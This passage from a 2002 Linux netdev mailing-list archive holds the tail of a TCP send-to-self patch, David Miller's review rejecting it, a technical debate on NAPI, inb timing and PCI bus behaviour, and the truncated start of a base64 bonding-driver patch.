tcp_v4_iif(skb); + /* Find possible connection requests. */ req = tcp_v4_search_req(tp, &prev, th->source, - iph->saddr, iph->daddr); + iph->saddr, iph->daddr, device_id); if (req) return tcp_check_req(sk, skb, req, prev); @@ -1599,7 +1627,7 @@ th->source, skb->nh.iph->daddr, ntohs(th->dest), - tcp_v4_iif(skb)); + device_id); if (nsk) { if (nsk->state != TCP_TIME_WAIT) { --------------010703030901020509080500-- From davem@redhat.com Tue Sep 17 23:48:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 23:48:44 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I6mftG010892 for ; Tue, 17 Sep 2002 23:48:42 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id XAA19447; Tue, 17 Sep 2002 23:44:40 -0700 Date: Tue, 17 Sep 2002 23:44:40 -0700 (PDT) Message-Id: <20020917.234440.114538956.davem@redhat.com> To: greearb@candelatech.com Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self From: "David S. Miller" In-Reply-To: <3D88217A.6070702@candelatech.com> References: <3D88217A.6070702@candelatech.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev We saw it the first two times. From greearb@candelatech.com Tue Sep 17 23:48:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 23:48:44 -0700 (PDT) Received: from grok.yi.org (IDENT:8yZNJ/NmETFwOW9CllocmHE3iFZDeVrA@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I6mftG010891 for ; Tue, 17 Sep 2002 23:48:42 -0700 Received: from candelatech.com (IDENT:q9nq1Tgk2c6yJiVKQ9ZPimv1uETcQLug@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I6rev23389; Tue, 17 Sep 2002 23:53:40 -0700 Message-ID: <3D8822F4.6060201@candelatech.com> Date: Tue, 17 Sep 2002 23:53:40 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ben Greear CC: "'netdev@oss.sgi.com'" , linux-kernel Subject: Re: [PATCH] Networking: send-to-self References: <3D88217A.6070702@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Ben Greear wrote: > This patch allows one to use the SO_BINDTODEVICE and a new ioctl against > net_device objects to send and receive regular routed traffic between two Gack, sorry for the last patch..it seems I screwed up the patch process somehow. Plz don't apply it as is! -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Wed Sep 18 00:04:50 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 00:04:52 -0700 (PDT) Received: from grok.yi.org (IDENT:VGD6t3rHdICvYUoz4Q2sBS1O0V5iUL7I@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I74ntG012161 for ; Wed, 18 Sep 2002 00:04:50 -0700 Received: from candelatech.com (IDENT:BNFaWzdzIL33b/EQarKQjWf3fsYNhWfj@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I79ov25480; Wed, 18 Sep 2002 00:09:51 -0700 Message-ID: <3D8826BE.5090007@candelatech.com> Date: Wed, 18 Sep 2002 00:09:50 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" CC: linux-kernel Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] References: <3D88217A.6070702@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev So, I feel bad about wasting bandwidth and spamming folks with busted patches. The corrected patch(es) can be found here for those who are interested: http://www.candelatech.com/sts_2.4.19.patch http://www.candelatech.com/sts2_hack.patch Thanks, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Wed Sep 18 00:09:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 00:09:37 -0700 (PDT) Received: from grok.yi.org (IDENT:UsGhFwdIVTwOaEa97gSNym9y1Odxrr9t@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I79ZtG012565 for ; Wed, 18 Sep 2002 00:09:35 -0700 Received: from candelatech.com (IDENT:yBPxYISfCYn4IxKHZfHN3l0MTG9jYXDt@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I7Eav26086 for ; Wed, 18 Sep 2002 00:14:36 -0700 Message-ID: <3D8827DC.4060200@candelatech.com> Date: Wed, 18 Sep 2002 00:14:36 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" Subject: [PATCH] pktgen (link to non-busted patch this time) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Sorry for the confusion, the last patch was against vanilla 2.4.19, not 2.4.20-pre7 like it should have been. You can find the corrected patch here if you are interested: http://www.candelatech.com/pg_2.4.19.patch Thanks, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From hadi@cyberus.ca Wed Sep 18 04:50:50 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 04:50:56 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IBontG019962 for ; Wed, 18 Sep 2002 04:50:50 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id HAA08898; Wed, 18 Sep 2002 07:55:47 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8IBmgT04722; Wed, 18 Sep 2002 07:48:43 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Wed, 18 Sep 2002 07:48:42 -0400 (EDT) From: jamal To: Ben Greear cc: Chris Friesen , Cacophonix , , Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation In-Reply-To: <3D87FBD5.3030508@candelatech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 256 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Tue, 17 Sep 2002, Ben Greear wrote: > I see reordering on regular old socket calls from user space, and I see > the same thing with pktgen packets as well (which clears the stack of fault). > > > Did you get reordering with affinity? > > Yes. I'm not sure I tried affinity w/out NAPI though. I definately tried > it with NAPI and saw reordering. > Ok, now it is getting interesting. I would start to be suspicious about either the hardware or driver. Please try without NAPI and affinity and post what you see (not that this result matters but should help confirn things). cheers, jamal From ebiederm@xmission.com Wed Sep 18 10:37:17 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 10:37:23 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IHbGtG008270 for ; Wed, 18 Sep 2002 10:37:17 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id LAA07325; Wed, 18 Sep 2002 11:27:34 -0600 To: "David S. Miller" Cc: hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A59C.410FFE3E@digeo.com> <20020917.180014.07882539.davem@redhat.com> From: ebiederm@xmission.com (Eric W. Biederman) Date: 18 Sep 2002 11:27:34 -0600 In-Reply-To: <20020917.180014.07882539.davem@redhat.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev "David S. Miller" writes: > From: jamal > Date: Tue, 17 Sep 2002 20:57:58 -0400 (EDT) > > I am not so sure with that 6% difference there is no other bug lurking > there; 6% seems too large for an extra two PCI transactions per packet. > > {in,out}{b,w,l}() operations have a fixed timing, therefore his > results doesn't sound that far off. ???? I don't see why they should be. If it is a pci device the cost should the same as a pci memory I/O. The bus packets are the same. So things like increasing the pci bus speed should make it take less time. Plus I have played with calibrating the TSC with outb to port 0x80 and there was enough variation that it was unuseable. On some newer systems it would take twice as long as on some older ones. Eric From alan@lxorguk.ukuu.org.uk Wed Sep 18 10:42:57 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 10:43:01 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IHgttG009095 for ; Wed, 18 Sep 2002 10:42:56 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8IHou5a024147; Wed, 18 Sep 2002 18:50:56 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8IHorUU024145; Wed, 18 Sep 2002 18:50:53 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Info: NAPI performance at "low" loads From: Alan Cox To: "Eric W. Biederman" Cc: "David S. Miller" , hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: References: <3D87A59C.410FFE3E@digeo.com> <20020917.180014.07882539.davem@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 18 Sep 2002 18:50:53 +0100 Message-Id: <1032371453.20463.139.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 258 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Wed, 2002-09-18 at 18:27, Eric W. Biederman wrote: > Plus I have played with calibrating the TSC with outb to port > 0x80 and there was enough variation that it was unuseable. On some > newer systems it would take twice as long as on some older ones. port 0x80 isnt going to PCI space. x86 generally posts mmio write but not io write. Thats quite measurable. From davem@redhat.com Wed Sep 18 13:28:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 13:28:19 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IKSDtG013250 for ; Wed, 18 Sep 2002 13:28:13 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA23631; Wed, 18 Sep 2002 13:23:34 -0700 Date: Wed, 18 Sep 2002 13:23:34 -0700 (PDT) Message-Id: <20020918.132334.102949210.davem@redhat.com> To: ebiederm@xmission.com Cc: hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: References: <20020917.180014.07882539.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: ebiederm@xmission.com (Eric W. Biederman) Date: 18 Sep 2002 11:27:34 -0600 "David S. Miller" writes: > {in,out}{b,w,l}() operations have a fixed timing, therefore his > results doesn't sound that far off. ???? I don't see why they should be. If it is a pci device the cost should the same as a pci memory I/O. The bus packets are the same. So things like increasing the pci bus speed should make it take less time. The x86 processor has a well defined timing for executing inb etc. instructions, the timing is fixed and is independant of the speed of the PCI bus the device is on. From alan@lxorguk.ukuu.org.uk Wed Sep 18 13:34:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 13:34:21 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IKYItG013612 for ; Wed, 18 Sep 2002 13:34:19 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8IKhC5a024581; Wed, 18 Sep 2002 21:43:13 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8IKh9Wq024578; Wed, 18 Sep 2002 21:43:09 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Info: NAPI performance at "low" loads From: Alan Cox To: "David S. Miller" Cc: ebiederm@xmission.com, hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: <20020918.132334.102949210.davem@redhat.com> References: <20020917.180014.07882539.davem@redhat.com> <20020918.132334.102949210.davem@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 18 Sep 2002 21:43:09 +0100 Message-Id: <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 260 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Wed, 2002-09-18 at 21:23, David S. Miller wrote: > The x86 processor has a well defined timing for executing inb > etc. instructions, the timing is fixed and is independant of the > speed of the PCI bus the device is on. Earth calling Dave Miller The inb timing depends on the PCI bus. If you want proof set a Matrox G400 into no pci retry mode, run a large X load at it and time some inbs you should be able to get to about 100 milliseconds for an inb to execute From davem@redhat.com Wed Sep 18 13:50:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 13:50:59 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IKottG014550 for ; Wed, 18 Sep 2002 13:50:55 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA23737; Wed, 18 Sep 2002 13:46:31 -0700 Date: Wed, 18 Sep 2002 13:46:30 -0700 (PDT) Message-Id: <20020918.134630.127509858.davem@redhat.com> To: alan@lxorguk.ukuu.org.uk Cc: ebiederm@xmission.com, hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> References: <20020918.132334.102949210.davem@redhat.com> <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Alan Cox Date: 18 Sep 2002 21:43:09 +0100 The inb timing depends on the PCI bus. If you want proof set a Matrox G400 into no pci retry mode, run a large X load at it and time some inbs you should be able to get to about 100 milliseconds for an inb to execute Matrox isn't using inb/outb instructions to IO space, it is being accessed by X using MEM space which is done using normal load and store instructions on x86 after the card is mmap()'d into user space. From alan@lxorguk.ukuu.org.uk Wed Sep 18 14:06:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 14:06:34 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IL6VtG015055 for ; Wed, 18 Sep 2002 14:06:32 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8ILFU5a024673; Wed, 18 Sep 2002 22:15:30 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8ILFS7u024671; Wed, 18 Sep 2002 22:15:28 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Info: NAPI performance at "low" loads From: Alan Cox To: "David S. Miller" Cc: ebiederm@xmission.com, hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: <20020918.134630.127509858.davem@redhat.com> References: <20020918.132334.102949210.davem@redhat.com> <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> <20020918.134630.127509858.davem@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 18 Sep 2002 22:15:27 +0100 Message-Id: <1032383727.20463.155.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Wed, 2002-09-18 at 21:46, David S. Miller wrote: > From: Alan Cox > Date: 18 Sep 2002 21:43:09 +0100 > > The inb timing depends on the PCI bus. If you want proof set a Matrox > G400 into no pci retry mode, run a large X load at it and time some inbs > you should be able to get to about 100 milliseconds for an inb to > execute > > Matrox isn't using inb/outb instructions to IO space, it is being > accessed by X using MEM space which is done using normal load and > store instructions on x86 after the card is mmap()'d into user space. It doesnt matter what XFree86 is doing. Thats just to load the PCI bus and jam it up to prove the point. It'll change your inb timing From davem@redhat.com Wed Sep 18 14:27:17 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 14:27:20 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8ILRHtG016999 for ; Wed, 18 Sep 2002 14:27:17 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA23978; Wed, 18 Sep 2002 14:22:50 -0700 Date: Wed, 18 Sep 2002 14:22:50 -0700 (PDT) Message-Id: <20020918.142250.130847722.davem@redhat.com> To: alan@lxorguk.ukuu.org.uk Cc: ebiederm@xmission.com, hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: <1032383727.20463.155.camel@irongate.swansea.linux.org.uk> References: <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> <20020918.134630.127509858.davem@redhat.com> <1032383727.20463.155.camel@irongate.swansea.linux.org.uk> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 263 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Alan Cox Date: 18 Sep 2002 22:15:27 +0100 It doesnt matter what XFree86 is doing. Thats just to load the PCI bus and jam it up to prove the point. It'll change your inb timing Understood. Maybe a more accurate wording would be "a fixed minimum timing". From davem@redhat.com Wed Sep 18 15:59:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 15:59:47 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8IMxftG018065 for ; Wed, 18 Sep 2002 15:59:41 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA24548; Wed, 18 Sep 2002 15:55:34 -0700 Date: Wed, 18 Sep 2002 15:55:34 -0700 (PDT) Message-Id: <20020918.155534.102954410.davem@redhat.com> To: greearb@candelatech.com Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] From: "David S. Miller" In-Reply-To: <3D8826BE.5090007@candelatech.com> References: <3D88217A.6070702@candelatech.com> <3D8826BE.5090007@candelatech.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Ben Greear Date: Wed, 18 Sep 2002 00:09:50 -0700 http://www.candelatech.com/sts_2.4.19.patch I don't think I'll be applying this: 1) No tcp ipv6 bits 2) SIOC{S,G}ACCEPTLOCALADDRS added, but no 32-bit translation code added to varions 64-bit/32-bit biarch port ioctl handling. Also, no code added to the ioctl dispatch in the networking so that devices could actually receive these requests. 3) Finally, it's just too damn ugly. If you have to ifdef it then it really doesn't belong in the tree. Maybe if the device number comparison logic changes existed via macros in tcp.h and thus removing all the CONFIG_NET_SENDTOSELF ifdefs from tcp*.c code it might be more palatable. 4) I haven't reviewed the ramifications of the route lookup changes, that is Alexey's territory. Sorry, these changes are pretty ugly right now. From greearb@candelatech.com Wed Sep 18 16:15:50 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 16:15:55 -0700 (PDT) Received: from grok.yi.org (IDENT:vC1jrIAn/dX9gCGzVSctUPiVSNpMHmLW@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8INFntG018545 for ; Wed, 18 Sep 2002 16:15:50 -0700 Received: from candelatech.com (IDENT:HVovr+JFg5o8rdIopB2Em39Cdwcywzw9@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8INKnv16962; Wed, 18 Sep 2002 16:20:50 -0700 Message-ID: <3D890A51.7000103@candelatech.com> Date: Wed, 18 Sep 2002 16:20:49 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] References: <3D88217A.6070702@candelatech.com> <3D8826BE.5090007@candelatech.com> <20020918.155534.102954410.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Ben Greear > Date: Wed, 18 Sep 2002 00:09:50 -0700 > > http://www.candelatech.com/sts_2.4.19.patch > > I don't think I'll be applying this: > > 1) No tcp ipv6 bits I know squat about this, so am reluctant to hack code there. > 2) SIOC{S,G}ACCEPTLOCALADDRS added, but no 32-bit translation > code added to varions 64-bit/32-bit biarch port ioctl handling. > Also, no code added to the ioctl dispatch in the networking > so that devices could actually receive these requests. See http://www.candelatech.com/sts2_hack.patch (32-bit only), it contains the missing bits, I'm not good at generating two patch sets (ie pktgen and send-to-self) when they touch the same file... > 3) Finally, it's just too damn ugly. If you have to ifdef it then > it really doesn't belong in the tree. Maybe if the device number > comparison logic changes existed via macros in tcp.h and thus > removing all the CONFIG_NET_SENDTOSELF ifdefs from tcp*.c code > it might be more palatable. The #ifdefs were per request, I personally would like them not to be there either. As far as I can tell, the changes are backwards compatible, so there should be no need for ifdefs. > 4) I haven't reviewed the ramifications of the route lookup changes, > that is Alexey's territory. > > Sorry, these changes are pretty ugly right now. > Thanks for looking at them. I can fix the #ifdef cruft, but adding 64bit support or hacking ipv6 is beyond my means of testing at this point, so I cannot make those changes. Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From fubar@us.ibm.com Wed Sep 18 17:19:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 17:19:05 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J0J0tG020685 for ; Wed, 18 Sep 2002 17:19:00 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8J0NcvI063932; Wed, 18 Sep 2002 20:23:38 -0400 Received: from d03nm035.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8J0NZZV021232; Wed, 18 Sep 2002 20:23:35 -0400 From: "Jay Vosburgh" Importance: Normal Sensitivity: To: "Jay Vosburgh" Cc: Jeff Garzik , Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: Date: Wed, 18 Sep 2002 18:23:24 -0600 Subject: PATCH Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload X-MIMETrack: Serialize by Router on D03NM035/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/18/2002 06:23:37 PM MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE6AADF9215DD8f9e8a93df938690918c07BBE6AADF9215DD" Content-Disposition: inline X-archive-position: 266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE6AADF9215DD8f9e8a93df938690918c07BBE6AADF9215DD Content-type: text/plain; charset=us-ascii Ok, here is a patch for bonding against 2.4.20-pre7. This gets rid of the MII_whatever macros, wraps ioctl() to make it less bad, and replaces a couple of magic numbers with friendly labels. Comments? -J (See attached file: bonding-2.4.20-pre7-20020918) --0__=07BBE6AADF9215DD8f9e8a93df938690918c07BBE6AADF9215DD Content-type: application/octet-stream; name="bonding-2.4.20-pre7-20020918" Content-Disposition: attachment; filename="bonding-2.4.20-pre7-20020918" Content-transfer-encoding: base64 ZGlmZiAtdXJOIGxpbnV4LTIuNC4yMC1wcmU3LXZpcmdpbi9kcml2ZXJzL25l dC9ib25kaW5nLmMgbGludXgtMi40LjIwLXByZTctYm9uZC0wOTE4L2RyaXZl 